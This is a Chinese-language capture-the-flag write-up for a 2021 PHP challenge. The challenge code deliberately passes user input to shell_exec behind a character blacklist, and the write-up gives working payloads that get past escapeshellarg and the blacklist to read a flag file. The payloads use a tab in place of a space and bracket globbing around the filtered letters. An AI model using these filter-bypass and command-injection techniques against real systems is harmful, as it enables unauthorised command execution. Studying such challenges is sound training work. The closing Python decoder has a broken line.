[广东强网杯 2021 团队组]love_Pokemon
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}
}
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}
?>
-
1.获得hint.php
获得hint.php的条件就是先满足switch这个循环 当满足case为 bulbasaur! 的时候它才会去执行下面这个匹配函数
那么这个就是说输入的字符串不包含lv100,但是经过escapeshellarg()处理之后含有lv100
这里就是一个escapeshellarg() 的考点
escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)
那么这里就可以使用漏洞:escapeshellarg()这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串
那么我们直接我们可以用%81去绕过,因为%81为不可见字符(当然还有其他的)
那最终这里的paylaod:myfavorite=bulbasaur!&levelup=lv%81100
得到重要的提示是flag文件的路径为 /FLAG
2.去获得flag
想获得flag那我们就要去找输出口 显然shell_exec()就是我们需要的函数
那么这里有个条件就是 post传入的dream的长度不能超过20字节
那我们直接传入dream=cat /FLAG 肯定是不行的,因为上边存在过滤
把flag(大小写)和空格一些字符都过滤了那么这里的重点就是如何绕过
(1)绕过空格好说
(2)如何使用读取命令
使用od命令
od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容
(3)如何绕过FLAG
这里用到了[]通配的形式,由于黑名单中有A何L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上ASCII表中的@到Z之间的所有字符
所以最终的payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G
长度也小于20
得到一个8进制数字 把他转为字符串就可以得到flag了
这里附加一个8进制转字符串的py脚本
d
ump = "0000000 051516 041523 043124 034173 061062 063061 060544 026546 0000020 032464 034146 032055 033541 026462 062141 034461 034455 0000040 031060 034541 060470 032065 061067 076541 000012 0000055"
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())
总结:
-
如何绕过escapeshellarg()函数